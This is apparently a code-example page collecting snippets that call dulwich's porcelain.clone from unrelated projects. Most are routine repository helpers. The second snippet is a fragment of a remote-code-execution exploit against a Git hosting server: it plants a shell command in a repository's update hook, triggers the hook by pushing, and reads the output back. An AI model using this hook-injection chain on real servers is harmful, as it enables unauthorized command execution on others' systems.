How to use the dulwich.porcelain.clone function in dulwich

#
# Example usage:
#  python examples/clone.py git://github.com/jelmer/dulwich dulwich-clone

import sys
from getopt import getopt
from dulwich import porcelain

opts, args = getopt(sys.argv, "", [])
opts = dict(opts)

if len(args) < 2:
    print("usage: %s host:path path" % (args[0], ))
    sys.exit(1)

porcelain.clone(args[1], args[2])

if repo_post.status_code != 302:
	print "[-] Cannot create admin repo"
	os._exit(0)

csrf = get_csrf('{}/{}/settings/hooks/git/update'.format(user_name, admin_repo_name))
hook_posts = s.post('{}{}/{}/settings/hooks/git/update'.format(url, user_name, admin_repo_name), data={'_csrf':csrf, 'content':"#!/bin/sh\n{}>objects/info/exploit".format(command)}, allow_redirects=False)

if hook_posts.status_code != 302:
	print "[-] Cannot updatehook"
	os._exit(0)

clone_url = '{}{}:{}@{}{}/{}.git'.format(url[0:7], login_token, "", url[7:], user_name, admin_repo_name)

temp_repo_dir = get_random()
r = porcelain.clone(clone_url, temp_repo_dir)
porcelain.commit(r, get_random())
porcelain.push(r, clone_url, "master")

command_output = s.get('{}{}/{}/objects/info/exploit'.format(url, user_name, admin_repo_name))
if command_output.status_code != 200:
	print "[-] Cannot get exploit output"
	os._exit(0)
	
print command_output.text.encode("utf-8")

def git_pull(path, local_path="/tmp/giggity.git"):
	try:
		porcelain.pull(local_path, path)
		return local_path
	except dulwich.errors.NotGitRepository:
		t = tempfile.mkdtemp(prefix=local_path)
		repo = porcelain.clone(path, bare=True, target=t, checkout=False)
		try:
			os.rename(t, local_path)
			return local_path
		except OSError:
			# Guess there may have been a race. All we know
			# is the one we just created should work.
			return t

def install_module(self, url: str, identifier: str, name: str, verbose=False, interactive=True) -> bool:
        """Install a module."""
        module_path = os.path.join(self.module_dir, identifier.replace('.', '_'))
        dep_path = os.path.join(self.module_dependencies_dir, identifier.replace('.', '_'))

        if os.path.exists(module_path):
            if verbose:
                Logger.log(None, '✔⇩ {}'.format(name))

            return False

        if verbose:
            Logger.log(None, '⇩ {} ({})'.format(name, url))

        try:
            porcelain.clone(UpdateManager.fix_git_url_for_dulwich(url), module_path)
        except Exception as e:
            if verbose:
                Logger.log_error(None, '⇩ {}: {}'.format(name, e))

            traceback.print_exc()

            try:
                rmtree(module_path)
            except FileNotFoundError:
                pass

            return False

        if verbose:
            Logger.log(None, '⇩⇩ {}'.format(name))

warnings.filterwarnings("ignore", category=ResourceWarning)
        # Clone or pull the repositories first
        local_repo_dir = Path(QgsApplication.qgisSettingsDirPath(),
                              'resource_sharing', 'repositories',
                              self.git_host, self.git_owner,
                              self.git_repository)
        # Hack to try to avoid locking errors
        if local_repo_dir.exists():
            try:
                shutil.rmtree(str(local_repo_dir))
            except:
                pass
        if not (local_repo_dir / '.git').exists():
            local_repo_dir.mkdir(parents=True)
            try:
                repo = porcelain.clone(
                    self.url, str(local_repo_dir),
                    errstream=writeOut
                )
                repo.close()  # Try to avoid WinErr 32
            except Exception as e:
                # Try to clone with https if it is a ssh url
                git_parsed = parse(self.url)
                if self.url == git_parsed.url2ssh:
                    try:
                        repo = porcelain.clone(
                            git_parsed.url2https, str(local_repo_dir),
                            errstream=writeOut)
                        repo.close()  # Try to avoid WinErr 32
                    except Exception as e:
                        error_message = 'Error: %s' % str(e)
                        LOGGER.exception(traceback.format_exc())

def open_or_clone_repo(rdir, rurl, no_clone):
    try:
        repo = git.open_repo(rdir)
        return repo
    except:
        repo = None

    if repo is None and no_clone is False:
        dbg('Cloning %s to %s' % (rurl, rdir))
        return git.clone(rurl, rdir)

    if repo is None and no_clone is True:
        repo = rdir

    return repo

def collateGitAuthors(repoUrl):
    with temporaryDirectory() as repoPath:
        with open(os.devnull, 'wb') as devnull:
            porcelain.clone(repoUrl, repoPath, bare=True, errstream=devnull)

        authors = getRepositoryAuthorsByNumberOfCommits(repoPath)

    return authors

def _query_foreign(self, url_or_path: str, **kwargs):
        df = self._df
        if df is None:
            raise ValueError("Cannot query custom repositories if the "
                             "document frequencies are disabled.")

        with tempfile.TemporaryDirectory(prefix="vecino-") as tempdir:
            target = os.path.join(tempdir, "repo")
            if os.path.isdir(url_or_path):
                url_or_path = os.path.abspath(url_or_path)
                os.symlink(url_or_path, target, target_is_directory=True)
                repo_format = "standard"
            else:
                self._log.info("Cloning %s to %s", url_or_path, target)
                porcelain.clone(url_or_path, target, bare=True, outstream=sys.stderr)
                repo_format = "bare"
            bow = repo2bow(tempdir, repo_format, 1, df, *self._languages,
                           engine_kwargs=self._engine_kwargs)
        ibow = {}
        for key, val in bow.items():
            try:
                ibow[self._id2vec[key]] = val
            except KeyError:
                continue
        words, weights = zip(*sorted(ibow.items()))
        return self._wmd.nearest_neighbors((words, weights), **kwargs)